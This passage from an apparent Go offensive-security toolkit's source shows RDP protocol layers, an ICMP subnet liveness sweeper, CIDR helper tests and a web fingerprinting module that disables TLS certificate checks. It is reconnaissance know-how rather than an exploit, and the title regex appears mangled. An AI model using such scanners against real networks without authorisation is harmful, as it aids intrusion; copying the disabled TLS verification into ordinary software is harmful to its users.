*TPKT) Write(data []byte) (n int, err error) { 138 | buff := &bytes.Buffer{} 139 | core.WriteUInt8(FASTPATH_ACTION_X224, buff) 140 | core.WriteUInt8(0, buff) 141 | core.WriteUInt16BE(uint16(len(data)+4), buff) 142 | buff.Write(data) 143 | glog.Debug("tpkt Write", hex.EncodeToString(buff.Bytes())) 144 | return t.Conn.Write(buff.Bytes()) 145 | } 146 | 147 | func (t *TPKT) Close() error { 148 | return t.Conn.Close() 149 | } 150 | 151 | func (t *TPKT) SetFastPathListener(f core.FastPathListener) { 152 | t.fastPathListener = f 153 | } 154 | 155 | func (t *TPKT) SendFastPath(secFlag byte, data []byte) (n int, err error) { 156 | buff := &bytes.Buffer{} 157 | core.WriteUInt8(FASTPATH_ACTION_FASTPATH|((secFlag&0x3)<<6), buff) 158 | core.WriteUInt16BE(uint16(len(data)+3)|0x8000, buff) 159 | buff.Write(data) 160 | glog.Debug("TPTK SendFastPath", hex.EncodeToString(buff.Bytes())) 161 | return t.Conn.Write(buff.Bytes()) 162 | } 163 | 164 | func (t *TPKT) recvHeader(s []byte, err error) { 165 | glog.Debug("tpkt recvHeader", hex.EncodeToString(s), err) 166 | if err != nil { 167 | t.Emit("error", err) 168 | return 169 | } 170 | r := bytes.NewReader(s) 171 | version, _ := core.ReadUInt8(r) 172 | if version == FASTPATH_ACTION_X224 { 173 | glog.Debug("tptk recvHeader FASTPATH_ACTION_X224, wait for recvExtendedHeader") 174 | core.StartReadBytes(2, t.Conn, t.recvExtendedHeader) 175 | } else { 176 | t.secFlag = (version >> 6) & 0x3 177 | length, _ := core.ReadUInt8(r) 178 | t.lastShortLength = int(length) 179 | if t.lastShortLength&0x80 != 0 { 180 | core.StartReadBytes(1, t.Conn, t.recvExtendedFastPathHeader) 181 | } else { 182 | core.StartReadBytes(t.lastShortLength-2, t.Conn, t.recvFastPath) 183 | } 184 | } 185 | } 186 | 187 | func (t *TPKT) recvExtendedHeader(s []byte, err error) { 188 | glog.Debug("tpkt recvExtendedHeader", hex.EncodeToString(s), err) 189 | if err != nil { 190 | return 191 | } 192 | r := bytes.NewReader(s) 193 | size, _ := core.ReadUint16BE(r) 194 | glog.Debug("tpkt wait recvData:", size) 195 | core.StartReadBytes(int(size-4), t.Conn, t.recvData) 196 | } 197 | 198 | func (t *TPKT) recvData(s []byte, err error) { 199 | glog.Debug("tpkt recvData", hex.EncodeToString(s), err) 200 | if err != nil { 201 | return 202 | } 203 | t.Emit("data", s) 204 | core.StartReadBytes(2, t.Conn, t.recvHeader) 205 | } 206 | 207 | func (t *TPKT) recvExtendedFastPathHeader(s []byte, err error) { 208 | glog.Debug("tpkt recvExtendedFastPathHeader", hex.EncodeToString(s)) 209 | r := bytes.NewReader(s) 210 | rightPart, err := core.ReadUInt8(r) 211 | if err != nil { 212 | glog.Error("TPTK recvExtendedFastPathHeader", err) 213 | return 214 | } 215 | 216 | leftPart := t.lastShortLength & ^0x80 217 | packetSize := (leftPart << 8) + int(rightPart) 218 | core.StartReadBytes(packetSize-3, t.Conn, t.recvFastPath) 219 | } 220 | 221 | func (t *TPKT) recvFastPath(s []byte, err error) { 222 | glog.Debug("tpkt recvFastPath") 223 | if err != nil { 224 | return 225 | } 226 | 227 | t.fastPathListener.RecvFastPath(t.secFlag, s) 228 | core.StartReadBytes(2, t.Conn, t.recvHeader) 229 | } 230 | -------------------------------------------------------------------------------- /pkg/grdp/protocol/x224/x224.go: -------------------------------------------------------------------------------- 1 | package x224 2 | 3 | import ( 4 | "bytes" 5 | "encoding/hex" 6 | "errors" 7 | "fmt" 8 | 9 | "Yasso/pkg/grdp/glog" 10 | 11 | "Yasso/pkg/grdp/core" 12 | "Yasso/pkg/grdp/emission" 13 | "Yasso/pkg/grdp/protocol/tpkt" 14 | "github.com/lunixbochs/struc" 15 | ) 16 | 17 | // take idea from https://github.com/Madnikulin50/gordp 18 | 19 | /** 20 | * Message type present in X224 packet header 21 | */ 22 | type MessageType byte 23 | 24 | const ( 25 | TPDU_CONNECTION_REQUEST MessageType = 0xE0 26 | TPDU_CONNECTION_CONFIRM = 0xD0 27 | TPDU_DISCONNECT_REQUEST = 0x80 28 | TPDU_DATA = 0xF0 29 | TPDU_ERROR = 0x70 30 | ) 31 | 32 | /** 33 | * Type of negotiation present in negotiation packet 34 | */ 35 | type NegotiationType byte 36 | 37 | const ( 38 | TYPE_RDP_NEG_REQ NegotiationType = 0x01 39 | TYPE_RDP_NEG_RSP = 0x02 40 | TYPE_RDP_NEG_FAILURE = 0x03 41 | ) 42 | 43 | /** 44 | * Protocols available for x224 layer 45 | */ 46 | 47 | const ( 48 | PROTOCOL_RDP uint32 = 0x00000000 49 | PROTOCOL_SSL = 0x00000001 50 | PROTOCOL_HYBRID = 0x00000002 51 | PROTOCOL_HYBRID_EX = 0x00000008 52 | ) 53 | 54 | /** 55 | * Use to negotiate security layer of RDP stack 56 | * In node-rdpjs only ssl is available 57 | * @param opt {object} component type options 58 | * @see request -> http://msdn.microsoft.com/en-us/library/cc240500.aspx 59 | * @see response -> http://msdn.microsoft.com/en-us/library/cc240506.aspx 60 | * @see failure ->http://msdn.microsoft.com/en-us/library/cc240507.aspx 61 | */ 62 | type Negotiation struct { 63 | Type NegotiationType `struc:"byte"` 64 | Flag uint8 `struc:"uint8"` 65 | Length uint16 `struc:"little"` 66 | Result uint32 `struc:"little"` 67 | } 68 | 69 | func NewNegotiation() *Negotiation { 70 | return &Negotiation{0, 0, 0x0008 /*constant*/, PROTOCOL_RDP} 71 | } 72 | 73 | /** 74 | * X224 client connection request 75 | * @param opt {object} component type options 76 | * @see http://msdn.microsoft.com/en-us/library/cc240470.aspx 77 | */ 78 | type ClientConnectionRequestPDU struct { 79 | Len uint8 80 | Code MessageType 81 | Padding1 uint16 82 | Padding2 uint16 83 | Padding3 uint8 84 | Cookie []byte 85 | ProtocolNeg *Negotiation 86 | } 87 | 88 | func NewClientConnectionRequestPDU(coockie []byte) *ClientConnectionRequestPDU { 89 | x := ClientConnectionRequestPDU{0, TPDU_CONNECTION_REQUEST, 0, 0, 0, 90 | coockie, NewNegotiation()} 91 | x.Len = uint8(len(x.Serialize()) - 1) 92 | return &x 93 | } 94 | 95 | func (x *ClientConnectionRequestPDU) Serialize() []byte { 96 | buff := &bytes.Buffer{} 97 | core.WriteUInt8(x.Len, buff) 98 | core.WriteUInt8(uint8(x.Code), buff) 99 | core.WriteUInt16BE(x.Padding1, buff) 100 | core.WriteUInt16BE(x.Padding2, buff) 101 | core.WriteUInt8(x.Padding3, buff) 102 | 103 | buff.Write(x.Cookie) 104 | if x.Len > 14 { 105 | core.WriteUInt16LE(0x0A0D, buff) 106 | } 107 | struc.Pack(buff, x.ProtocolNeg) 108 | return buff.Bytes() 109 | } 110 | 111 | /** 112 | * X224 Server connection confirm 113 | * @param opt {object} component type options 114 | * @see http://msdn.microsoft.com/en-us/library/cc240506.aspx 115 | */ 116 | type ServerConnectionConfirm struct { 117 | Len uint8 118 | Code MessageType 119 | Padding1 uint16 120 | Padding2 uint16 121 | Padding3 uint8 122 | ProtocolNeg *Negotiation 123 | } 124 | 125 | /** 126 | * Header of each data message from x224 layer 127 | * @returns {type.Component} 128 | */ 129 | type DataHeader struct { 130 | Header uint8 `struc:"little"` 131 | MessageType MessageType `struc:"uint8"` 132 | Separator uint8 `struc:"little"` 133 | } 134 | 135 | func NewDataHeader() *DataHeader { 136 | return &DataHeader{2, TPDU_DATA /* constant */, 0x80 /*constant*/} 137 | } 138 | 139 | /** 140 | * Common X224 Automata 141 | * @param presentation {Layer} presentation layer 142 | */ 143 | type X224 struct { 144 | emission.Emitter 145 | transport core.Transport 146 | requestedProtocol uint32 147 | selectedProtocol uint32 148 | dataHeader *DataHeader 149 | } 150 | 151 | func New(t core.Transport) *X224 { 152 | x := &X224{ 153 | *emission.NewEmitter(), 154 | t, 155 | PROTOCOL_RDP | PROTOCOL_SSL | PROTOCOL_HYBRID, 156 | PROTOCOL_SSL, 157 | NewDataHeader(), 158 | } 159 | 160 | t.On("close", func() { 161 | x.Emit("close") 162 | }).On("error", func(err error) { 163 | x.Emit("error", err) 164 | }) 165 | 166 | return x 167 | } 168 | 169 | func (x *X224) Read(b []byte) (n int, err error) { 170 | return x.transport.Read(b) 171 | } 172 | 173 | func (x *X224) Write(b []byte) (n int, err error) { 174 | buff := &bytes.Buffer{} 175 | err = struc.Pack(buff, x.dataHeader) 176 | if err != nil { 177 | return 0, err 178 | } 179 | buff.Write(b) 180 | 181 | glog.Debug("x224 write:", hex.EncodeToString(buff.Bytes())) 182 | return x.transport.Write(buff.Bytes()) 183 | } 184 | 185 | func (x *X224) Close() error { 186 | return x.transport.Close() 187 | } 188 | 189 | func (x *X224) SetRequestedProtocol(p uint32) { 190 | x.requestedProtocol = p 191 | } 192 | 193 | func (x *X224) Connect() error { 194 | if x.transport == nil { 195 | return errors.New("no transport") 196 | } 197 | message := NewClientConnectionRequestPDU(make([]byte, 0)) 198 | message.ProtocolNeg.Type = TYPE_RDP_NEG_REQ 199 | message.ProtocolNeg.Result = uint32(x.requestedProtocol) 200 | 201 | glog.Debug("x224 sendConnectionRequest", hex.EncodeToString(message.Serialize())) 202 | _, err := x.transport.Write(message.Serialize()) 203 | x.transport.Once("data", x.recvConnectionConfirm) 204 | return err 205 | } 206 | 207 | func (x *X224) recvConnectionConfirm(s []byte) { 208 | glog.Debug("x224 recvConnectionConfirm ", hex.EncodeToString(s)) 209 | message := &ServerConnectionConfirm{} 210 | if err := struc.Unpack(bytes.NewReader(s), message); err != nil { 211 | glog.Error("ReadServerConnectionConfirm err", err) 212 | return 213 | } 214 | glog.Debugf("message: %+v", *message.ProtocolNeg) 215 | if message.ProtocolNeg.Type == TYPE_RDP_NEG_FAILURE { 216 | glog.Error(fmt.Sprintf("NODE_RDP_PROTOCOL_X224_NEG_FAILURE with code: %d,see https://msdn.microsoft.com/en-us/library/cc240507.aspx", 217 | message.ProtocolNeg.Result)) 218 | //only use Standard RDP Security mechanisms 219 | if message.ProtocolNeg.Result == 2 { 220 | glog.Info("Only use Standard RDP Security mechanisms, Reconnect with Standard RDP") 221 | x.Emit("error", errors.New("PROTOCOL_RDP")) 222 | } 223 | x.Close() 224 | return 225 | } 226 | 227 | if message.ProtocolNeg.Type == TYPE_RDP_NEG_RSP { 228 | glog.Info("TYPE_RDP_NEG_RSP") 229 | x.selectedProtocol = message.ProtocolNeg.Result 230 | } 231 | 232 | if x.selectedProtocol == PROTOCOL_HYBRID_EX { 233 | glog.Error("NODE_RDP_PROTOCOL_HYBRID_EX_NOT_SUPPORTED") 234 | return 235 | } 236 | 237 | x.transport.On("data", x.recvData) 238 | 239 | if x.selectedProtocol == PROTOCOL_RDP { 240 | glog.Info("*** RDP security selected ***") 241 | x.Emit("connect", x.selectedProtocol) 242 | return 243 | } 244 | 245 | if x.selectedProtocol == PROTOCOL_SSL { 246 | glog.Info("*** SSL security selected ***") 247 | err := x.transport.(*tpkt.TPKT).StartTLS() 248 | if err != nil { 249 | glog.Error("start tls failed:", err) 250 | return 251 | } 252 | x.Emit("connect", x.selectedProtocol) 253 | return 254 | } 255 | 256 | if x.selectedProtocol == PROTOCOL_HYBRID { 257 | glog.Info("*** NLA Security selected ***") 258 | err := x.transport.(*tpkt.TPKT).StartNLA() 259 | if err != nil { 260 | glog.Error("start NLA failed:", err) 261 | return 262 | } 263 | x.Emit("connect", x.selectedProtocol) 264 | return 265 | } 266 | } 267 | 268 | func (x *X224) recvData(s []byte) { 269 | glog.Debug("x224 recvData", hex.EncodeToString(s), "emit data") 270 | // x224 header takes 3 bytes 271 | x.Emit("data", s[3:]) 272 | } 273 | -------------------------------------------------------------------------------- /pkg/netspy/example/ip_test.go: -------------------------------------------------------------------------------- 1 | package example 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | "strings" 7 | "testing" 8 | ) 9 | 10 | func Test(t *testing.T) { 11 | inters, err := net.Interfaces() 12 | if err != nil { 13 | panic(err) 14 | } 15 | for _, inter := range inters { 16 | // 判断网卡是否开启,过滤本地环回接口 17 | if inter.Flags&net.FlagUp != 0 && !strings.HasPrefix(inter.Name, "lo") { 18 | // 获取网卡下所有的地址 19 | addrs, err := inter.Addrs() 20 | if err != nil { 21 | continue 22 | } 23 | for _, addr := range addrs { 24 | if ipnet, ok := addr.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { 25 | //判断是否存在IPV4 IP 如果没有过滤 26 | if strings.ContainsAny(ipnet.String(), ":") { 27 | continue 28 | } else { 29 | //fmt.Println(ipnet) 30 | minIp, maxIp := getCidrIpRange(ipnet.String()) 31 | fmt.Println("CIDR最小IP:", minIp, " CIDR最大IP:", maxIp) 32 | mask, _ := ipnet.Mask.Size() 33 | fmt.Println("掩码:", getCidrIpMask(mask)) 34 | fmt.Println("主机数量", getCidrHostNum(mask)) 35 | fmt.Println("==============================") 36 | } 37 | } 38 | } 39 | } 40 | } 41 | return 42 | } 43 | -------------------------------------------------------------------------------- /pkg/netspy/example/spy_test.go: -------------------------------------------------------------------------------- 1 | package example 2 | 3 | import ( 4 | "fmt" 5 | "strconv" 6 | "strings" 7 | "testing" 8 | ) 9 | 10 | func Test1(t *testing.T) { 11 | minIp, maxIp := getCidrIpRange("192.168.248.1/22") 12 | fmt.Println("CIDR最小IP:", minIp, " CIDR最大IP:", maxIp) 13 | fmt.Println("掩码:", getCidrIpMask(24)) 14 | fmt.Println("主机数量", getCidrHostNum(24)) 15 | } 16 | func getCidrIpRange(cidr string) (string, string) { 17 | ip := strings.Split(cidr, "/")[0] 18 | ipSegs := strings.Split(ip, ".") 19 | maskLen, _ := strconv.Atoi(strings.Split(cidr, "/")[1]) 20 | seg3MinIp, seg3MaxIp := getIpSeg3Range(ipSegs, maskLen) 21 | seg4MinIp, seg4MaxIp := getIpSeg4Range(ipSegs, maskLen) 22 | ipPrefix := ipSegs[0] + "." + ipSegs[1] + "." 23 | 24 | return ipPrefix + strconv.Itoa(seg3MinIp) + "." + strconv.Itoa(seg4MinIp), 25 | ipPrefix + strconv.Itoa(seg3MaxIp) + "." + strconv.Itoa(seg4MaxIp) 26 | } 27 | 28 | //计算得到CIDR地址范围内可拥有的主机数量 29 | func getCidrHostNum(maskLen int) uint { 30 | cidrIpNum := uint(0) 31 | var i uint = uint(32 - maskLen - 1) 32 | for ; i >= 1; i-- { 33 | cidrIpNum += 1 << i 34 | } 35 | return cidrIpNum 36 | } 37 | 38 | //获取Cidr的掩码 39 | func getCidrIpMask(maskLen int) string { 40 | // ^uint32(0)二进制为32个比特1,通过向左位移,得到CIDR掩码的二进制 41 | cidrMask := ^uint32(0) << uint(32-maskLen) 42 | fmt.Println(fmt.Sprintf("%b \n", cidrMask)) 43 | //计算CIDR掩码的四个片段,将想要得到的片段移动到内存最低8位后,将其强转为8位整型,从而得到 44 | cidrMaskSeg1 := uint8(cidrMask >> 24) 45 | cidrMaskSeg2 := uint8(cidrMask >> 16) 46 | cidrMaskSeg3 := uint8(cidrMask >> 8) 47 | cidrMaskSeg4 := uint8(cidrMask & uint32(255)) 48 | 49 | return fmt.Sprint(cidrMaskSeg1) + "." + fmt.Sprint(cidrMaskSeg2) + "." + fmt.Sprint(cidrMaskSeg3) + "." + fmt.Sprint(cidrMaskSeg4) 50 | } 51 | 52 | //得到第三段IP的区间(第一片段.第二片段.第三片段.第四片段) 53 | func getIpSeg3Range(ipSegs []string, maskLen int) (int, int) { 54 | if maskLen > 24 { 55 | segIp, _ := strconv.Atoi(ipSegs[2]) 56 | return segIp, segIp 57 | } 58 | ipSeg, _ := strconv.Atoi(ipSegs[2]) 59 | return getIpSegRange(uint8(ipSeg), uint8(24-maskLen)) 60 | } 61 | 62 | //得到第四段IP的区间(第一片段.第二片段.第三片段.第四片段) 63 | func getIpSeg4Range(ipSegs []string, maskLen int) (int, int) { 64 | ipSeg, _ := strconv.Atoi(ipSegs[3]) 65 | segMinIp, segMaxIp := getIpSegRange(uint8(ipSeg), uint8(32-maskLen)) 66 | return segMinIp + 1, segMaxIp 67 | } 68 | 69 | //根据用户输入的基础IP地址和CIDR掩码计算一个IP片段的区间 70 | func getIpSegRange(userSegIp, offset uint8) (int, int) { 71 | var ipSegMax uint8 = 255 72 | netSegIp := ipSegMax << offset 73 | segMinIp := netSegIp & userSegIp 74 | segMaxIp := userSegIp&(255< 0 { 25 | return true 26 | } 27 | return false 28 | } 29 | -------------------------------------------------------------------------------- /pkg/netspy/spy/spy.go: -------------------------------------------------------------------------------- 1 | package spy 2 | 3 | import ( 4 | "Yasso/core/logger" 5 | "Yasso/pkg/netspy/icmp" 6 | "fmt" 7 | "sync" 8 | "sync/atomic" 9 | ) 10 | 11 | func GoSpy(ips [][]string, check func(ip string) bool, thread int) []string { // 共有 12 | var online []string 13 | var wg sync.WaitGroup 14 | var ipc = make(chan []string, 10000) 15 | var onc = make(chan string, 1000) 16 | var count int32 17 | if ips == nil { 18 | return online 19 | } 20 | go func() { 21 | for _, ipg := range ips { 22 | ipc <- ipg 23 | } 24 | defer close(ipc) 25 | }() 26 | for i := 0; i < thread; i++ { 27 | wg.Add(1) 28 | go func(ipc chan []string) { 29 | for ipg := range ipc { 30 | for _, ip := range ipg { 31 | if icmp.Check(ip) { 32 | online = append(online, ip) // 此时已经可以证明有一个网段存活了 33 | logger.Info(fmt.Sprintf("%s/24 network segment to survive", ip)) 34 | onc <- fmt.Sprintf("%s/24\n", ip) 35 | break // 存在一个主机则证明存活 36 | } else { 37 | // 不存活 38 | continue 39 | } 40 | } 41 | atomic.AddInt32(&count, int32(len(ipg))) 42 | } 43 | defer wg.Done() 44 | }(ipc) 45 | } 46 | wg.Wait() 47 | return online 48 | } 49 | -------------------------------------------------------------------------------- /pkg/report/report.go: -------------------------------------------------------------------------------- 1 | package report 2 | -------------------------------------------------------------------------------- /pkg/webscan/http.go: -------------------------------------------------------------------------------- 1 | package webscan 2 | 3 | import ( 4 | "Yasso/config" 5 | "bytes" 6 | "crypto/md5" 7 | "crypto/tls" 8 | "fmt" 9 | "golang.org/x/text/encoding/simplifiedchinese" 10 | "io/ioutil" 11 | "net/http" 12 | "net/url" 13 | "path" 14 | "regexp" 15 | "strconv" 16 | "strings" 17 | "time" 18 | "unicode/utf8" 19 | ) 20 | 21 | //TODO: dismap RespLab 22 | 23 | type RespLab struct { 24 | Url string 25 | RespBody string 26 | RespHeader string 27 | RespStatusCode string 28 | RespTitle string 29 | FaviconMd5 string 30 | } 31 | 32 | func FaviconMd5(Url string, timeout time.Duration, Path string) string { 33 | client := &http.Client{ 34 | Timeout: time.Duration(timeout), 35 | Transport: &http.Transport{ 36 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 37 | }, 38 | CheckRedirect: func(req *http.Request, via []*http.Request) error { 39 | return http.ErrUseLastResponse 40 | }, 41 | } 42 | Url = Url + "/favicon.ico" 43 | req, err := http.NewRequest("GET", Url, nil) 44 | if err != nil { 45 | return "" 46 | } 47 | for key, value := range config.DefaultHeader { 48 | req.Header.Set(key, value) 49 | } 50 | //req.Header.Set("Accept-Language", "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6") 51 | //req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36") 52 | //req.Header.Set("Cookie", "rememberMe=int") 53 | resp, err := client.Do(req) 54 | if err != nil { 55 | return "" 56 | } 57 | defer resp.Body.Close() 58 | body_bytes, err := ioutil.ReadAll(resp.Body) 59 | hash := md5.Sum(body_bytes) 60 | md5 := fmt.Sprintf("%x", hash) 61 | return md5 62 | } 63 | 64 | func DefaultRequests(Url string, timeout time.Duration) []RespLab { 65 | 66 | var redirect_url string 67 | var resp_title string 68 | var response_header string 69 | var response_body string 70 | var response_status_code string 71 | var res []string 72 | 73 | // 设置http请求客户端 74 | client := &http.Client{ 75 | Timeout: time.Duration(timeout), 76 | Transport: &http.Transport{ 77 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 78 | }, 79 | CheckRedirect: func(req *http.Request, via []*http.Request) error { 80 | return http.ErrUseLastResponse 81 | }, 82 | } 83 | 84 | req, err := http.NewRequest("GET", Url, nil) 85 | if err != nil { 86 | return nil 87 | } 88 | // 设置默认请求头 89 | for key, value := range config.DefaultHeader { 90 | req.Header.Set(key, value) 91 | } 92 | // 做http请求 93 | resp, err := client.Do(req) 94 | if err != nil { 95 | return nil 96 | } 97 | defer resp.Body.Close() 98 | 99 | // 获取请求的状态马 100 | var status_code = resp.StatusCode 101 | response_status_code = strconv.Itoa(status_code) 102 | 103 | //TODO: 根据请求来拦截状态码,如果是30x则需要拦截url进行重定向 104 | 105 | if len(regexp.MustCompile("30").FindAllStringIndex(response_status_code, -1)) == 1 { 106 | // 进行重定向 107 | redirect_path := resp.Header.Get("Location") // 拦截url进行重定向请求 108 | if len(regexp.MustCompile("http").FindAllStringIndex(redirect_path, -1)) == 1 { 109 | redirect_url = redirect_path 110 | } else { 111 | redirect_url = Url + redirect_path 112 | } 113 | client = &http.Client{ 114 | Timeout: time.Duration(timeout), 115 | Transport: &http.Transport{ 116 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 117 | }, 118 | CheckRedirect: func(req *http.Request, via []*http.Request) error { 119 | return http.ErrUseLastResponse 120 | }, 121 | } 122 | // 设置重定向请求 123 | req, err := http.NewRequest("GET", redirect_url, nil) 124 | if err != nil { 125 | return nil 126 | } 127 | for key, value := range config.DefaultHeader { 128 | req.Header.Set(key, value) 129 | } 130 | resp, err := client.Do(req) 131 | if err != nil { 132 | return nil 133 | } 134 | defer resp.Body.Close() 135 | 136 | //TODO: 解决两次的30x跳转问题 137 | var twoStatusCode = resp.StatusCode 138 | responseStatusCodeTwo := strconv.Itoa(twoStatusCode) 139 | if len(regexp.MustCompile("30").FindAllStringIndex(responseStatusCodeTwo, -1)) == 1 { 140 | redirectPath := resp.Header.Get("Location") 141 | if len(regexp.MustCompile("http").FindAllStringIndex(redirectPath, -1)) == 1 { 142 | redirect_url = redirectPath 143 | } else { 144 | redirect_url = Url + redirectPath 145 | } 146 | client = &http.Client{ 147 | Timeout: time.Duration(timeout), 148 | Transport: &http.Transport{ 149 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 150 | }, 151 | CheckRedirect: func(req *http.Request, via []*http.Request) error { 152 | return http.ErrUseLastResponse 153 | }, 154 | } 155 | req, err := http.NewRequest("GET", redirect_url, nil) 156 | if err != nil { 157 | return nil 158 | } 159 | for key, value := range config.DefaultHeader { 160 | req.Header.Set(key, value) 161 | } 162 | resp, err := client.Do(req) 163 | if err != nil { 164 | return nil 165 | } 166 | defer resp.Body.Close() 167 | // get response body for string 168 | bodyBytes, err := ioutil.ReadAll(resp.Body) 169 | response_body = string(bodyBytes) 170 | // Solve the problem of garbled body codes with unmatched numbers 171 | if !utf8.Valid(bodyBytes) { 172 | data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(bodyBytes) 173 | response_body = string(data) 174 | } 175 | // Get Response title 176 | grepTitle := regexp.MustCompile("(.*)") 177 | if len(grepTitle.FindStringSubmatch(response_body)) != 0 { 178 | resp_title = grepTitle.FindStringSubmatch(response_body)[1] 179 | } else { 180 | resp_title = "None" 181 | } 182 | for name, values := range resp.Header { 183 | for _, value := range values { 184 | res = append(res, fmt.Sprintf("%s: %s", name, value)) 185 | } 186 | } 187 | for _, re := range res { 188 | response_header += re + "\n" 189 | } 190 | favicon5 := FaviconMd5(Url, timeout, "") 191 | RespData := []RespLab{ 192 | {redirect_url, response_body, response_header, response_status_code, resp_title, favicon5}, 193 | } 194 | return RespData 195 | } 196 | // get response body for string 197 | body_bytes, err := ioutil.ReadAll(resp.Body) 198 | response_body = string(body_bytes) 199 | // Solve the problem of garbled body codes with unmatched numbers 200 | if !utf8.Valid(body_bytes) { 201 | data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(body_bytes) 202 | response_body = string(data) 203 | } 204 | // Get Response title 205 | grep_title := regexp.MustCompile("(.*)") 206 | if len(grep_title.FindStringSubmatch(response_body)) != 0 { 207 | resp_title = grep_title.FindStringSubmatch(response_body)[1] 208 | } else { 209 | resp_title = "None" 210 | } 211 | // get response header for string 212 | for name, values := range resp.Header { 213 | for _, value := range values { 214 | res = append(res, fmt.Sprintf("%s: %s", name, value)) 215 | } 216 | } 217 | for _, re := range res { 218 | response_header += re + "\n" 219 | } 220 | favicon5 := FaviconMd5(Url, timeout, "") 221 | RespData := []RespLab{ 222 | {redirect_url, response_body, response_header, response_status_code, resp_title, favicon5}, 223 | } 224 | return RespData 225 | } 226 | // get response body for string 227 | bodyBytes, err := ioutil.ReadAll(resp.Body) 228 | response_body = string(bodyBytes) 229 | // Solve the problem of garbled body codes with unmatched numbers 230 | if !utf8.Valid(bodyBytes) { 231 | data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(bodyBytes) 232 | response_body = string(data) 233 | } 234 | 235 | // Get Response title 236 | grep_title := regexp.MustCompile("(.*)") 237 | if len(grep_title.FindStringSubmatch(response_body)) != 0 { 238 | resp_title = grep_title.FindStringSubmatch(response_body)[1] 239 | } else { 240 | resp_title = "None" 241 | } 242 | // get response header for string 243 | for name, values := range resp.Header { 244 | for _, value := range values { 245 | res = append(res, fmt.Sprintf("%s: %s", name, value)) 246 | } 247 | } 248 | for _, re := range res { 249 | response_header += re + "\n" 250 | } 251 | faviconmd5 := FaviconMd5(Url, timeout, "") 252 | RespData := []RespLab{ 253 | {Url, response_body, response_header, response_status_code, resp_title, faviconmd5}, 254 | } 255 | return RespData 256 | } 257 | 258 | func CustomRequests(Url string, timeout time.Duration, Method string, Path string, Header []string, Body string) []RespLab { 259 | var respTitle string 260 | // Splicing Custom Path 261 | u, err := url.Parse(Url) 262 | u.Path = path.Join(u.Path, Path) 263 | Url = u.String() 264 | if strings.HasSuffix(Path, "/") { 265 | Url = Url + "/" 266 | } 267 | client := &http.Client{ 268 | Timeout: time.Duration(timeout), 269 | Transport: &http.Transport{ 270 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 271 | }, 272 | } 273 | // Send Http requests 274 | body_byte := bytes.NewBuffer([]byte(Body)) 275 | req, err := http.NewRequest(Method, Url, body_byte) 276 | if err != nil { 277 | return nil 278 | } 279 | 280 | // Set Requests Headers 281 | for _, header := range Header { 282 | grep_key := regexp.MustCompile("(.*): ") 283 | var header_key = grep_key.FindStringSubmatch(header)[1] 284 | grep_value := regexp.MustCompile(": (.*)") 285 | var header_value = grep_value.FindStringSubmatch(header)[1] 286 | req.Header.Set(header_key, header_value) 287 | } 288 | resp, err := client.Do(req) 289 | if err != nil { 290 | return nil 291 | } 292 | defer resp.Body.Close() 293 | // Get Response Body for string 294 | body_bytes, err := ioutil.ReadAll(resp.Body) 295 | var response_body = string(body_bytes) 296 | // Solve the problem of garbled body codes with unmatched numbers 297 | if !utf8.Valid(body_bytes) { 298 | data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(body_bytes) 299 | response_body = string(data) 300 | } 301 | // Get Response title 302 | grep_title := regexp.MustCompile("(.*)") 303 | if len(grep_title.FindStringSubmatch(response_body)) != 0 { 304 | respTitle = grep_title.FindStringSubmatch(response_body)[1] 305 | } else { 306 | respTitle = "None" 307 | } 308 | // Get Response Header for string 309 | var res []string 310 | for name, values := range resp.Header { 311 | for _, value := range values { 312 | res = append(res, fmt.Sprintf("%s: %s", name, value)) 313 | } 314 | } 315 | var response_header string 316 | for _, re := range res { 317 | response_header += re + "\n" 318 | } 319 | // get response status code 320 | var status_code = resp.StatusCode 321 | response_status_code := strconv.Itoa(status_code) 322 | RespData := []RespLab{ 323 | {Url, response_body, response_header, response_status_code, respTitle, ""}, 324 | } 325 | return RespData 326 | } 327 | 328 | //dismap 解析IP 329 | 330 | func ParseUrl(host string, port string) string { 331 | if port == "80" { 332 | return "http://" + host 333 | } else if port == "443" { 334 | return "https://" + host 335 | } else if len(regexp.MustCompile("443").FindAllStringIndex(port, -1)) == 1 { 336 | return "https://" + host + ":" + port 337 | } else { 338 | return "http://" + host + ":" + port 339 | } 340 | } 341 | -------------------------------------------------------------------------------- /result.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sairson/Yasso/af9e833f02488d89ce425b503d33707d821b2aab/result.txt --------------------------------------------------------------------------------